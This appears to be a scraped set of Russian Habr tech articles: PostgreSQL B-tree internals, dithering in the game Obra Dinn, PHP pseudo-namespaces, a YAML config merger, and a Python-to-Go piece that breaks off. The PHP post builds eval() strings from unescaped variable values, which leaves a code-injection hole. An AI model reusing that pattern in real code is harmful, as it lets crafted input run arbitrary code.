where opf.opfname = 'complex_ops'
and opf.opfmethod = am.oid
and am.amname = 'btree'
and amp.amprocfamily = opf.oid;
amprocnum | amproc | amproclefttype | amprocrighttype
-----------+-------------+----------------+-----------------
1 | complex_cmp | complex | complex
(1 row)`
Внутренности
------------
Внутреннюю структуру B-дерева можно изучать, используя расширение pageinspect.
`demo=# create extension pageinspect;
CREATE EXTENSION`
Метастраница индекса:
`demo=# select * from bt_metap('ticket_flights_pkey');
magic | version | root | level | fastroot | fastlevel
--------+---------+------+-------+----------+-----------
340322 | 2 | 164 | 2 | 164 | 2
(1 row)`
Самое интересное здесь — глубина индекса (level): для размещения индекса по двум столбцам для таблицы с миллионом строк потребовалось всего 2 уровня (не считая корня).
Статистическая информация о блоке 164 (корень):
`demo=# select type, live_items, dead_items, avg_item_size, page_size, free_size
from bt_page_stats('ticket_flights_pkey',164);
type | live_items | dead_items | avg_item_size | page_size | free_size
------+------------+------------+---------------+-----------+-----------
r | 33 | 0 | 31 | 8192 | 6984
(1 row)`
И сами данные в блоке (в поле data, которое тут принесено в жертву ширине экрана, находится значение ключа индексирования в двоичном виде):
`demo=# select itemoffset, ctid, itemlen, left(data,56) as data
from bt_page_items('ticket_flights_pkey',164) limit 5;
itemoffset | ctid | itemlen | data
------------+---------+---------+----------------------------------------------------------
1 | (3,1) | 8 |
2 | (163,1) | 32 | 1d 30 30 30 35 34 33 32 33 30 35 37 37 31 00 00 ff 5f 00
3 | (323,1) | 32 | 1d 30 30 30 35 34 33 32 34 32 33 36 36 32 00 00 4f 78 00
4 | (482,1) | 32 | 1d 30 30 30 35 34 33 32 35 33 30 38 39 33 00 00 4d 1e 00
5 | (641,1) | 32 | 1d 30 30 30 35 34 33 32 36 35 35 37 38 35 00 00 2b 09 00
(5 rows)`
Первый элемент носит технический характер и задает верхнюю границу значения ключа всех элементов блока (деталь реализации, про которую мы не говорили), а собственно данные начинаются со второго элемента. Видно, что самым левым дочерним узлом является блок 163, затем идет блок 323 и так далее. Которые, в свою очередь, тоже можно изучить с помощью этих же функций.
Дальше, по доброй традиции, имеет смысл читать документацию, [README](https://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/access/nbtree/README;hb=HEAD) и исходный код.
И еще одно потенциально полезное расширение: [amcheck](https://www.postgresql.org/docs/10/static/amcheck.html), которое войдет в состав PostgreSQL 10, а для более ранних версий его можно взять на [github](https://github.com/petergeoghegan/amcheck). Это расширение проверяет логическую согласованность данных в B-деревьях и позволяет заблаговременно обнаружить повреждения.
[Продолжение](https://habrahabr.ru/company/postgrespro/blog/333878/). | https://habr.com/ru/post/330544/ | null | ru | null |
# Эффект дизеринга в трёхмерной игре
*Создатель Papers, Please Лукас Поуп работает над новым трёхмерным проектом Return of the Obra Dinn, в котором пытается с помощью эффекта [дизеринга](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B7%D0%B5%D1%80%D0%B8%D0%BD%D0%B3) воссоздать в игре ощущение старинной книги.*
Для начала краткое объяснение: Obra Dinn выполняет внутренний рендеринг всего в 8-битной палитре в градациях серого, а затем на этапе постобработки преобразует конечные выходные данные в 1-битные значения. Преобразование из 8-битного в 1-битный цвет выполняется сравнением каждого пикселя исходного изображения с соответствующей точкой в тайловом паттерне дизеринга. Если значение пикселя изображения больше значения точки паттерна дизеринга, то выходному биту присваивается значение 1, в противном случае оно равно 0. Выходные данные упрощаются до 1-битных значений, а глаз зрителя объединяет пиксели, аппроксимируя из них больше битов.
*Преобразование исходного изображения по шаблону дизеринга*
Двумя компонентами этого процесса являются исходное изображение и паттерн дизеринга. В различных случаях Obra Dinn использует два отличающихся паттерна: матрица Байера 8x8 для более плавного диапазона оттенков и поле синего шума 128x128 для менее упорядоченного вывода.
*Байер/синий шум*
*Результат внутри движка без каркасных линий. Байер на сфере, синий шум на всём остальном.*
Классический процесс дизеринга отлично работает для статичных изображений и гораздо хуже выглядит на движущихся и анимированных изображениях. Когда исходное изображение покадрово изменяется, то серьёзной проблемой становится статичный паттерн дизеринга и вывод в низком разрешении. То, что должно быть сплошными формами и оттенками, превращается в мерцающий хаос пикселей.
**Двигаем сферу**
Сегодня дизеринг в основном используется для статичных исходных изображений или при высоком разрешении выходных данных. Первое, что думаешь, глядя на этот плавающий эффект дизеринга, это не «да, именно так работает дизеринг», а «что это за дёргающийся эффект и как мне его отключить».
**Образец A. Для более приятного изображения контраст уменьшен.**
Попробуйте сфокусироваться на каком-нибудь объекте, пока он двигается, и вы поймёте, в чём основная проблема Obra Dinn в полноэкранном режиме. Существуют способы исправить это, и чаще всего они сводятся к «этот стиль не работает, замени его». Я довольно далеко зашёл на этом пути, экспериментируя с различными стилями, но потом вернулся назад и задал себе вопрос — возможно, не стоит давать этим гадским пикселям мешать мне.
Стабилизируем дизеринг
----------------------
Чтобы дать глазам возможность наилучшим образом всё рекомбинировать, дизеринг оптимальнее всего использовать с точками паттерна дизеринга, имеющими корреляцию 1:1 с выходными пикселями. Но если будет присутствовать корреляция «только» с выходными данными, то при применении постэффектов сцены не будет никакой связи между отрендеренной геометрией и пороговым паттерном. В каждом кадре у движущихся элементов сцены будет новое пороговое значение. Вместо этого я хочу, чтобы паттерн дизеринга был «приклеен» к геометрии и казался стабильным при движении вместе с остальной сценой.
Здесь возникает проблема наложения. Существует конфликт между «идеальным» наложением паттерна дизеринга (1:1 с экраном) и идеальным наложением на сцену (x:1 с геометрией), так что нужно быть готовым идти на компромиссы. БОльшая часть моей работы посвящена наложению входного паттерна дизеринга на различные пространства, которое обеспечивает наилучшее совпадение паттерна с геометрией сцены. Здесь всё выполняется на этапе до задания порогов.
Пространство текселов
---------------------
Первой моей попыткой было наложение паттерна дизеринга на пространство текселов. Это аналогично дизерингу текстур объектов во время рендеринга сцены вместо выполнения постобработки 8-битного выходного изображения. Я не ожидал, что это сработает, но всё равно хотел посмотреть, как будет выглядеть идеально совпадающее со сценой наложение.
*Паттерн дизеринга в пространстве текселов*
Ну, в целом ожидания себя оправдали. Наложение на все объекты выполнено по-разному, поэтому масштабы из паттернов не совпадают. Их можно унифицировать. Но настоящая проблема заключается в искажениях. Любой ресемплинг из одного пространства в другое приведёт к искажениям, а для паттернов дизеринга не так просто выполнить mip-текстурирование или фильтрацию, как для традиционных текстур. Однако доведём это до конца:
**Применение к подвижной сцене**
Всё не так плохо — паттерн неплохо привязан к геометрии. Искажение создаёт собственный плавающий эффект, а унифицирование или масштабирование наложения в этом ничем не поможет. Текселы меняют размер в зависимости от расстояния до камеры, поэтому всегда найдутся пиксели паттерна дизеринга, которые при ресемплинге на экране будут ужасно искажаться.
Деформация при движении
-----------------------
Если я хотел, чтобы паттерн дизеринга отслеживал движение геометрии под ним, то почему бы просто не деформировать паттерн на основании изменения позиции каждого отрендеренного пикселся в сцене? Действительно, почему бы не попробовать. Это немного похоже на motion blur, при котором каждый пиксель отслеживает своё движение относительно предыдущего кадра. В этом случае я обновляю текстуру дизеринга, чтобы её паттерн двигался вместе со сценой. Если пиксель сцены не присутствовал на предыдущем кадре, то в нём паттерн дизеринга перезагружается. Реализацию этой техники очень облегчила статичность игры — мне нужно было беспокоиться о движении камеры, а не отдельных объектов.
**Деформация паттерна дизеринга для сохранения покадровой согласованности со сценой**
Это была довольно «быстрая и грязная» попытка, но стали очевидны некоторые факты. Во-первых, это в чём-то работает. Во-вторых, паттерну дизеринга нужно учитывать соседей — он не может быть просто отдельными пикселями. Если рассматривать каждый пиксель отдельно, как делается в этом способе, то очевидно, что мы получим разрывы и искажения в паттерне. В этой тестовой сцене я сдвинул камеру, чтобы показать это на примере сундука. Посмотрев на сам искажённый паттерн дизеринга, легче это заметить.
**Задание порога сплошным серым цветом с деформируемым паттерном дизеринга**
Эти разрывы возникают из-за разной глубины пикселей и выбранных порогов. Я подумывал о сложной системе исправления проблемы на основе отслеживания областей, усреднения их глубины и смещения всех точек паттерна дизеринга в каждой области на одинаковое значение. Разрывы вдоль границ областей можно скрыть резкой сменой освещения или каркасной линией. Это не получилось бы реализовать из-за того, что игра использовала для генерации каркасов моделей цветные области. Когда я приступил к реализации всего этого, то сначала упустил в уравнении глубину, что дало мне гораздо более простую альтернативу:
Наложение на экран со смещением
-------------------------------
При составлении уравнений для деформируемого дизеринга из них выпало очень простое преобразование:
```
DitherOffset = ScreenSize * CameraRotation / CameraFov
```
**Сдвиг наложенного на экран паттерна дизеринга на основании поворота камеры**
В сущности, это выражает то, что я хотел: сдвиг наложенного на экран паттерна дизеринга ровно на один экран при повороте камеры на одну область обзора. Благодаря этому сохраняется наложение 1:1 с экраном, но при этом также учитывается упрощённое преобразование видимой геометрии сцены. На самом деле это соответствует только движению в центре экрана, но, к моему счастью, выглядит достаточно хорошо.
**Смещение паттерна дизеринга для отслеживания поворота ровно на один экран fov камеры**
Заметьте: похоже, что подвергнувшиеся дизерингу пиксели стула в основном движутся с геометрией. То же самое относится и к сфере. Более перпендикулярные к полю зрения плоскости отображаются не очень хорошо — пол по-прежнему выглядит хаотичным.
Хотя подход и не идеален, простой сдвиг наложенного на экран дизеринга сохраняет общий паттерн и движение сцены, чтобы глазу удобнее было отслеживать вместе. Я был этим очень доволен. Занимаясь подчисткой кода и коммитами, выпустив один-два поста в devlog, я всё равно не мог избавиться от мысли об идеально прилепленном дизеринге:
Пространство мира — кубическое наложение
----------------------------------------
Предыдущие эксперименты показали, что любая корреляция между паттерном дизеринга и геометрией сцены должна игнорировать информацию глубины, получаемую от сцены. На практике это означает, что дизеринг можно прицеплять к геометрии во время поворота камеры, но не её перемещения. Это не так уж плохо для Obra Dinn, учитывая медленный темп игры и наблюдательную роль игрока. Обычно в игре он ходит по кораблю, останавливается и смотрит на объекты. При ходьбе на экране происходит так много изменений, что плавающий дизеринг не особо очевиден.
С учётом этого, моей следующей попыткой стало наложение паттерна дизеринга на геометрию ненапрямую, с помощью предварительного рендеринга паттерна на стороны куба, центрированного вокруг камеры. Куб перемещается с камерой, но остаётся ориентированным относительно мира. Получается смесь: немного экрана, немного сцены.
*Паттерн дизеринга наложен на куб, центрированный относительно камеры*
*Вид из камеры, смотрящей в угол. Масштаб наложения для наглядности увеличен.*
Наложение на куб работает неплохо, когда смотришь на стороны, но не так хорошо, когда камера направлена на угол. Паттерн дизеринга по-прежнему идеально зафиксирован в 3D-пространстве при повороте камеры. Даже при грубых проверках результат выглядит многообещающим.
**Задание порога сцене с помощью наложенного на куб паттерна дизеринга**
Дело, наконец, сдвинулось с места. Благодаря тому, что это постобработка, такой подход более общий, чем наложение в пространстве текселов, что хорошо. Проблема теперь сводится к конкретному кубическому наложению. При идеальном наложении один тексел на кубе всегда соответствует одному пикселю на экране, вне зависимости от поворота камеры. Для куба это невозможно…
Пространство мира — сферическое наложение
-----------------------------------------
… но благодаря сфере я подобрался достаточно близко.
*Наложение паттерна дизеринга на внутренность сферы*
Поиск этого конкретного сферического наложения потребовал определённого времени. Не существует способов идеального замощения сферы квадратной текстурой. Можно было бы переопределить матрицы дизеринга через сетку шестиугольников или чего-то подобного, что хорошо замощает сферу. Возможно, получилось бы, но я не пробовал. Вместо этого я «взломал» замощение сферы, добившись тщательной настройкой того, чтобы «кольцевое» наложение исходного паттерна дизеринга давало хорошие результаты.
**Применённый к сцене эффект**
Лучше, чем с кубом, но по-прежнему много искажений. Размер сферически наложенной точки очень похож на размер экранного пикселя — отличается ровно настолько, чтобы создавать муар. Я чувствовал, что близок к решению, и очень просто исправить такие искажения с помощью суперсемплирования: применить порог дизеринга при более высоком разрешении, а затем снизить его.
*Сферически наложенный паттерн дизеринга при увеличении 2x и со сниженным до 1x разрешением*
**Задание порога при 2x, с последующим снижением разрешения до 1x**
Это пока самый лучший из полученных мной результатов. Тут есть несколько компромиссов:
1. Точки паттерна дизеринга становятся больше в размерах и менее эффективными по краям экрана
2. Паттерн не выравнен по направлениям «верх-низ-лево-право» для большинства поворотов камеры
3. Выходные данные больше не являются 1-битными из-за конечного снижения разрешения
Но преимущества очень велики:
1. Дизеринг отлично прикрепляется ко всем поворотам камеры. В игре это ощущается немного странно.
2. Дискомфорт от плавающего дизеринга совершенно пропал, даже в полноэкранном режиме.
3. Сохраняется пикселизированный стиль игры
Можно полностью избавиться от недостатка 3, снова ограничив выходные данные 1-битными значениями с помощью простого порога в 50%. Результат по-прежнему лучше, чем без суперсемплинга (ниже представлены три примера для сравнения).
**Сравнение трёх подходов**
**В игре с палитрой по умолчанию**
Подводим итог
-------------
Кажется немного странным потратить 100 часов на то, отсутствия чего даже не заметят. Никто точно не подумает «блин, да этот дизеринг адски стабилен, это какая-то магия». Но я не хотел, чтобы у людей возникали проблемы, которые должны были бы возникнуть, так что их стоило устранить.
Наложение в экранном пространстве со смещением работает лучше всего при масштабе 1x, а сферическое наложение — при 2x. Вся сцена сейчас рендерится в разрешении 800x450 (поднял разрешение с 640x360), что повышает разборчивость, при этом не требуется жертвовать стилем low-res. В готовой игре будет два режима отображения:
**ЦИФРОВОЙ** — дизеринг в пространстве экрана со смещением, 1-битный вывод.
**АНАЛОГОВЫЙ** — полноэкранный наложенный на сферу дизеринг, сглаженный вывод. | https://habr.com/ru/post/343172/ | null | ru | null |
# Псевдо-пространства имен
В PHP 5.3 добавлена поддержка пространств имен, но [эта версия пока слабо распространена](http://habrahabr.ru/blogs/php/65573/) и непригодна для промышленного использования в распространяемых проектах. А пока новая версия в пути, я сделал простую замену пространств имен для переменных.
Эти функции можно использовать, когда нужно передать переменные из одного включаемого скрипта в другой, но неизвестно что с ними может случиться по дороге. В конце первого скрипта вызываем функцию nsout() с идентификатором пространства и списком переменных, которые нужно сохранить, а перед использованием этих переменных во втором скрипте вызываем nsin() с идентификатором пространства.
> `Copy Source | Copy HTML1. // Сохрняем переменные пространства имен
> 2. function nsout($ns, $vars = array()) {
> 3. global $NS;
> 4. foreach ($vars as $var)
> 5. eval("global $$var; \$NS[\$ns][\$var] = $$var;");
> 6. }
> 7.
> 8. // Восстанавливаем переменные пространства имен
> 9. function nsin($ns) {
> 10. global $NS;
> 11. $code = '';
> 12. if (!is\_array($NS)) return;
> 13. foreach ($NS[$ns] as $name => $value)
> 14. $code .= "
> global $$name;
> $$name = " . php\_var\_map($value) . ";
> ";
> 15. eval($code);
> 16. }
> 17.
> 18. function php\_var\_map($var) {
> 19. if (!is\_array($var))
> 20. return "'$var'";
> 21. else {
> 22. $code = '';
> 23. foreach ($var as $name => $value)
> 24. $code .= ($code ? ', ' : '') . "'$name' => " . php\_var\_map($value);
> 25. return "array($code)";
> 26. }
> 27. }`
**UPD:** Как подсказал [homm](https://habrahabr.ru/users/homm/) есть две замечательные функции compact() и extract(), которые как раз для этого и предназначены. Так что можно писать так:
`$NS['ns1'] = compact('var1', 'var2', 'var3');`
А потом
`extract($NS['ns1']);`
Кроме того функция extract() дает дополнительный контроль над извлечением переменных, позволяя добавлять префикс, и контролировать конфликты. | https://habr.com/ru/post/67596/ | null | ru | null |
# Миграция YAML конфигов или история одного парсера
Есть счастливые люди, которые могут себе позволить просто перезаписывать YAML конфиги в продакшене. Мне же повезло меньше - инсталляции у меня специфичные и конфиги часто настраиваются "под себя". К каждому релизу приходилось готовить отдельную доку для ручного апдейта конфигурации.
Естественно, что руки сами тянутся автоматизировать такое безобразие, но гугл быстро дал понять что не я один мечтаю о хорошем, только вот заветного оазиса пока никто не нашел. Нет, смержить два YAML файлика задача не трудная, но только если готов пожертвовать комментами (что для многих, как и для меня, недопустимо).
Как вы уже могли догадаться, тулзу я в итоге написал [свою](https://github.com/xvik/yaml-updater) (java). Но рассказать я хочу не о том что она умеет, а о том что было после "да что я сам не сделаю что ли...".
Кода не будет, просто описание того с чем пришлось иметь дело и что в итоге пришлось сделать (что гораздо интереснее скучных циклов). Заранее извиняюсь за обилие англицизмов.
Начало
------
Для начала забавное наблюдение. Все разговоры в интернете про YAML парсеры начинаются с того какая спека сложная и как нетривиально написать YAML парсер (и это, конечно же, правда). А ведь понятно что для сохранения комментов свой парсер написать таки придется. И было не так легко перейти от мысли "куда ты лезешь, закопаешься!" к мысли "да мне нужен то лишь кусочек спеки, ничего страшного". Еще одна иллюстрация того что "все преграды в нашей голове".
Минимальный парсер, для случая одного дерева в файле (без ссылок) пишется за один присест. А вот финальная модель для него сложилась не сразу.
Парсинг
-------
Очевидно что для построения дерева главное вычленить имя свойства и его отступ.
Правило для комментов тоже родилось сразу: "**все** что выше свойства это его коммент". Ну идеально же, так можно элементарно воссоздать файл 1-в-1 (а учитывая что чаще в апдейтах конфигов свойства добавляются без перемешивания остального, так вообще идеально). Для примера:
```
# Это все
# коммент для prop
prop:
# Это коммент для sub (включая пустую строку сверху)
sub: 1
# А это коммент для sub2 (отступ не важен)
sub2: 2
```
Еще одной важной вехой был принцип: одна нода (модели) - одна строчка файла (ну плюс строки коммента сверху конечно). Это и просто для понимания (при дебаге) и крайне удобно для записи модели обратно в файл.
Значение свойства само по себе не важно: для мержа достаточно имени. Поэтому можно принять за значение все что дальше двоеточия. Так и оригинальное форматирование сохраняется и инлайн комменты остаются.
```
prop: val # inline comment
```
Мультилайн
----------
Первый раз YAML кольнул многострочными значениями: вы знали сколько [опций настройки мультилайна в YAML](https://yaml-multiline.info/)? Я нет, но, тем не менее, эту часть пришлось честно реализовывать.
```
multiline: some very
very very # с комментарием
long value
```
Собсвенно, мультилайны определили вид `value` для нод как `List`. По большому счету, главной проблемой было лишь определение где мультилайн заканчивается: значение сохраняется 1-в-1 (для того чтобы можно было его записать обратно без изменений), но вот отделить его от нижеследующего коммента крайне важно.
Списки
------
Список может быть скалярным:
```
list:
- one
- two
```
Тут принцип одна строчка файла - одна нода ложится идеально.
А может содержать объекты:
```
list:
- one: 1
two: 2
```
И вот тут то правило "одна нода - одна строчка" осеклось. Нет, я честно уперся рогом и долго пытался его придерживаться - получилось мягко говоря не очень: `one: 1` был рутовой нодой (обозначающей объект списка), а все что дальше его детьми.
Пример ниже окончательно зарубил такой подход:
```
list:
- one: 1
sub: s
two: 2
```
(`sub` и `two` сливались в один список)
Пришлось вводить группирующую ноду (и сразу дышать стало легче). Так же это очень пригодилось когда вспомнил что листы могут записываться и так (spring boot любит такое написание):
```
list:
-
one: 1
two: 2
```
Естественно, большинство этих мутаций модели повылезали на этапе отладки мержера, но о нем отдельно.
Мержер
------
Казалось бы, есть два дерева - проще простого пробежаться да смержить модельки. Но, как всегда, не все так просто.
Во-первых, могут измениться отступы:
Было:
```
level:
one: 1
```
Стало:
```
level:
one: 1
two: 2
```
Если мержить "в лоб", будет невалидный YAML:
```
level:
one: 1
two: 2
```
Значит нужно всегда переформатировать старые ноды согласно новым отступам (неважно в какую сторону). Причем крайне важно сдвигать все поддерево, а то можно порушить листы или мультилайны (которые очень завязаны на отступы). В рамках свойства обязательно должны "съезжать" коммент и значение. Например, если сдвинуть только свойство здесь:
```
prop:
# комментарий
multiline: long long
long value
```
Получится некрасивый коммент и невалидное значение (ошибка синтаксиса):
```
prop:
# комментарий
multiline: long long
long value
```
Дальше - порядок свойств. Что если в новом конфиге они были реорганизованы? Оставлять как в старом? Но тогда куда вставлять добавленные свойства?.
По-моему, новый файл должен быть примером во всем: если что-то поменяли местами, значит так лучше! П.э. берем за основу новый порядок (т.е. по-честному перетасовываем старые ноды).
То же касается и комментариев - в новом конфиге коммент может быть исправленным, п.э. комментарии обновляются всегда (для "внутренних пометок" остается лазейка - инлайн комменты). Родилось такое, вроде бы логичное, правило из простого примера:
```
# Очень большой
# Заголовок
# Коммент
prop1: val
prop2: val
```
Если в новом конфиге свойства переставлены, а комментарии бы не обновлялись то вся шапка уехала бы в коммент к нижнему свойству (поскольку коммент это **все** что находится над свойством). И вот только подмена комментов и выручает в этом случае (возвращая заголовок на место, в шапку файла).
И снова списки
--------------
Как вы наверно уже догадались, списки я "люблю" больше всего. Кто бы мог подумать что это будет самой сложной частью.
Со скалярными списками все просто - это значение а значения мы не трогаем (т.е. оно просто переезжает со старого конфига, без перестановок):
```
list:
- 1
- 2
```
В случае объектных списков встает две проблемы:
* Во-первых, может смениться стиль записи объекта с "начинаем после дэша" на "начинаем с новой строки после дэша" (или наоборот). Но это не сложно поддержать (буквально на уровне свойства модели).
* Во-вторых, нужно добавлять новые свойства в объекты списка.
Второе не совсем очевидно: почему новые элементы списка мы не добавляем (текущее значение священно), а вот новые свойства добавить можем? Ну вот такое допущение - иногда списки играют скорее структурную роль (группируя конфигурации по смыслу):
```
networks:
- name: TCP
prop: 1
- name: UDP
prop: 2
```
Кроме того, я не знаю контр-примеров когда бы такое поведение было не верным.
Именно тут вылазит самая интересная проблема: а как понять какой элемент нового списка соотносится со старым? Порядок элементов может измениться, и вообще элемент может быть удален в новом конфиге.
Понятно что если у нового и старого элемента одно и то же свойство имеет разные значения то естественно это теперь разные элементы (как раз этот момент, в теории, и отсеет возможные исключительные случаи когда списки персонализируется и не предполагают обновления; хотя может сыграть и в обратную сторону).
Ну а дальше остается только считать количество совпавших значений (учитывая все поддерево элемента) - у кого больше всего совпадений, тот и референсный элемент. Причем если находится больше одного элемента с тем же количеством совпадений, считаем что референс не найден - обновления элемента не будет.
Например, для элемента `a:1` в новом списке нет однозначного совпадения:
```
list:
- a: 1
b: 2
- a: 1
b: 3
```
Оба элемента подходят (остальные новые свойства не важны), а значит нужный элемент не найден.
А что если свойство содержит лист? Для скалярного листа просто игнорируем. Например, если в новом конфиге:
```
list:
- a: 1
b:
- 1
- 2
- a: 2
b:
- 3
- 4
```
А оригинальный элемент был:
```
list:
- a: 1
b:
- 8
- 9
```
То первый элемент нового конфига считаем "совпавшим" (игнорируя листы).
Обоснования такому подходу, если честно, нет. Просто на уровне интуиции показалось так правильнее. Вполне возможно что в скором времени всплывет контрпример и придется переделывать.
Для объектного списка волевым решением выбрано правило: должен совпасть хоть один элемент. А совпасть это как? А это точно так же как описано выше (inception).
Даже по описанию видно, насколько вольные допущения использованы, но как можно еще угадать? Практика покажет насколько это все было правильно.Я сколько мог примеров напридумывал (эта часть переписывалась несколько раз).
Удаление
--------
Выше все было про добавление нового, но свойства могут и удаляться. Автоматизировать такое никак нельзя (пойди разберись потом что он там навыкашивал), поэтому пришлось вводить простейший "YAML path" чтобы можно было удалять как "листики" так и целые поддеревья передавая при запуске список путей для удаления.
Например, в примере ниже `level.one`и `network[0]` удалят:
```
level:
one: 1 # del
network:
- name: TCP # del
- name: UDP
```
Таким образом решается и проблема переопределения значения: просто удаляем старое и мержер вставит значение из нового конфига.
То же с листами: нужно обновить - удаляем старый, новый лист целиком его заменит.
Конечно это не покрывает все возможные случаи, но как наиболее сбалансированное должно подойти.
Надежность
----------
Как все знают YAML крайне коварная штука - проще простого сделать что-то "не так". Например, мое любимое:
```
# айяй! нет пробела!
prop:value
```
И вот если бы я по честному писал парсер, то он раздулся бы в N раз, только благодаря валидации синтаксиса (не зря умные люди пугали).
Да и в любом случае, молодой парсер неизбежно содержит баги (сколько бы я его не вылизывал), чисто из-за малой базы протестированных ситуаций (как я, надеюсь, показал выше с YAML'ом непредвиденных ситуаций возникает много). И потому я решил считерить: взять надежный и проверенный временем парсер (snakeyaml) и валидировать им все файлики перед основным парсером.
Таким образом мой парсер **всегда** работает только с валидным YAML синтаксисом и может "не отвлекаться" на непредвиденные случаи.
Но этого мало - можно же проверить что эталонный и мой парсеры "видят" одно и то же дерево, тем самым сразу честно предупреждая о своих багах. Для этого пришлось сконвертировать дерево snakeyaml в модель совместимую с моей, зато теперь все что я не поддержал из YAML спеки легко вылезет наружу еще на стадии чтения файла.
Выше я упоминал что для сопоставления объектных списков используются значения свойств, при этом, парсер значениям уделяет мало внимания (важно сохранить как записано а не что). Поэтому при сравнении деревьев, точные значения из модели snakayaml проставляются в модель комментов, увеличивая точность сравнения списков.
Результат мержа так же читается snakeyaml'ом чтобы убедиться в корректности получившегося файла. Ну и раз точные деревья ДО и ПОСЛЕ уже подготовлены, полученное дерево валидируется на корректность: должно содержать все старое и все новое (тут сильно пригодился примитивный "YAML path" добавленный для удаления).
Не все полезно
--------------
Долгое время была идея находить закомментированные свойства чтобы не добавлять дубликаты при мерже. Но в конце от нее отказался.
Нет, технически это можно было сделать: имея дерево нового файла не сложно в текущем файле узнать в комменте закомментированное свойство по контексту (без дерева-референса нельзя, иначе слишком просто "понапридумывать" свойств).
Но вот хорошего примера зачем такое могло бы пригодиться найти не удалось - ну и усложнение пошло под нож.
Репорт
------
Необходимость репорта всплыла сразу после первого же релиза: очень оказалось неприятно смотреть на радостное "я все сделал!" с немым вопросом "а что ты сделал с моим конфигом?"
Так появился вот такой репорт:
```
Configuration: /var/somewhere/config.yml (185 bytes, 23 lines)
Updated from source of 497 bytes, 25 lines
Resulted in 351 bytes, 25 lines
Added from new file:
prop/three 7 | three: 3 # new property
lists/obj[0]/three 20 | three: 3 # new value
```
Тут, кстати, интересный момент: почему в "YAML path" вместо точек разделителем идет `/` ? Да просто точка может запросто быть в имени свойства (например, `te.st` вполне допустимое имя - можете проверить, я не верил пока сам не убедился). И то что при удалении пути можно передавать с точкой просто упрощение для пользователей (иначе будут "детские" ошибки, сам попадался).
Отладка
-------
Здесь хотелось бы вспомнить знаменитую цитату: "лучше день потерять, потом за 5 минут долететь". В который раз убеждаюсь что нет ничего лучше `toString`, написанного "для себя".
В модели деревьев `toString` выдает техническую структуру дерева: ох как же без этого было тяжко дебажить. Зато теперь в дебагере сразу видишь все дерево и все понятно (да еще и в тестах валидировать модель через тустринг сильно удобнее). Ну и, конечно, как приятно когда отдельные ноды в дебаггере сразу "говорят" о себе все что нужно.
В валидационные ексепшены врендерены куски сравниваемых поддеревьев:
```
Comments parser validation problem on line 0: 1 child nodes found but should be at least 2 (this is a parser bug, please report it!)
Comments parser subtree: Structure parser subtree:
2| one: 2| one:
3| sub: s 3| sub: s
4| two: 2
```
(рядом, для наглядности) - не передать сколько времени это сэкономило при отладке (и надеюсь еще сэкономит в дальнейшем).
Жаль что такие полезные штуки почти всегда не пишутся сразу, а появляются лишь в условиях крайней необходимости.
Заключение
----------
Вот так вот простая задачка "на пару вечеров", обрастала деталями и растянулась на пару месяцев. Я не стал тут затрагивать переменных, бэкапы, добавления CLI, сконцентрировавшись на интересном, но это все конечно тоже отъело свою "часть пирога".
Главное, в итоге я получил что хотел. Если стало интересно посмотреть детальнее, то добро пожаловать [на гитхаб](https://github.com/xvik/yaml-updater).
И, конечно, буду рад услышать замечания, а возможно даже контрпримеры (сейчас этого сильно не хватает). | https://habr.com/ru/post/579950/ | null | ru | null |
# Мой путь от Python к Go — делюсь советами и ресурсами
***От переводчика:** перевели [для вас статью Илада Леева о переходе с Python на Go](https://medium.com/appsflyer/my-journey-from-python-to-go-3859783c6b3c). Статья будет полезна не только начинающим программистам, но и всем, кто так либо иначе интересуется Go.*
Мне нравится Python. Этот язык был моим фаворитом последние пять лет. Он дружелюбный, эффективный, и его легко выучить. Используется практически для всего: от создания простых скриптов и веб-разработки до визуализации данных и машинного обучения
Постепенное «созревание» Go, обширное комьюнити и тот факт, что все больше компаний принимают этот язык на вооружение после успешных тестов, заставили меня обратить на него внимание и углубиться в литературу. **Но этот пост не о том, что лучше — Python или Go**: сравнений в сети огромное количество. По моему мнению, все зависит от области применения. Я собираюсь рассказать о том, почему выбрал Go, дав несколько советов и ссылок на полезные ресурсы для всех интересующихся темой.
> **Skillbox рекомендует:** Практический курс [Python-разработчик с нуля](https://skillbox.ru/python/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PTNDEV&utm_content=articles&utm_term=frompythontogo).
>
>
>
> **Напоминаем:** *для всех читателей «Хабра» — скидка 10 000 рублей при записи на любой курс Skillbox по промокоду «Хабр».*
>
>
### Наблюдения
Первое, что я сделал в начале пути, — изучил отличный официальный туториал “[Tour Of Go](https://tour.golang.org/welcome/)”. Он дает понимание синтаксиса языка.
Для того чтобы улучшить знания, я прочитал еще и книгу “[Go for Python Programmers](https://golang-for-python-programmers.readthedocs.io)”, которая позволила приступить к следующему этапу — пробам и ошибкам.
Я взял привычные функции, которые использовал в Python (сериализация JSON или работа с HTTP-вызовами), и попробовал написать их на Go. Благодаря такому наглядному сравнению мне удалось выявить ключевые отличия между языками.
**Компоновка проекта**
Прежде всего, Python не требует специфической иерархии каталогов, тогда как Go — да.
Go использует «стандартную» компоновку, которая немного сложнее и требует больше работы. С другой стороны, в результате мы получаем хорошо структурированную основу кода, где используется модульная структура, а при расширении проекта код остается строго упорядоченным.
Официальный туториал “[How to Write Go Code](https://golang.org/doc/code.html)” объясняет, как организовать свою работу.
**Статическая строгая типизация**
Go статически типизирован, и это заставит почувствовать себя не в своей тарелке тех, кто привык к динамически типизированным языкам вроде Python и Ruby.
Нет сомнений, что динамические языки сильнее подвержены ошибкам, со стороны разработчика требуется больше усилий при проверке входных данных. Пример — функция, которая вычисляет сумму двух целых чисел. Если передать строку в функцию (что случается не так уж и редко), то это приведет к ошибке TypeError.
В Go такое произойти не может, поскольку здесь нужно объявлять тип для каждой переменной и функции и то, какой тип переменной функция вернет.
Сначала это раздражает: мне казалось, что эта особенность Go замедляет работу, — но потом пришло понимание, что на самом деле объявление всего экономит время, а вероятность ошибки снижается.
**Нативный параллелизм**
У Go есть нативная поддержка параллелизма с использованием подпрограмм и каналов — это удобно.
Концепция каналов поначалу кажется несколько запутанной. Однако с течением времени она становится более понятной, и вы начинаете наслаждаться новыми возможностями, активно с ними работая.
Вот визуализация всего сказанного от [Ивана Данилюка](https://divan.dev/posts/go_concurrency_visualize/).
```
package main
func main() {
// create new channel of type int
ch := make(chan int)
// start new anonymous goroutine
go func() {
// send 42 to channel
ch <- 42
}()
// read from channel
<-ch
}
```
Больше примеров [здесь](http://code.hootsuite.com/golang-routines-and-channels/) и [здесь](https://www.ardanlabs.com/blog/2017/10/the-behavior-of-channels.html).
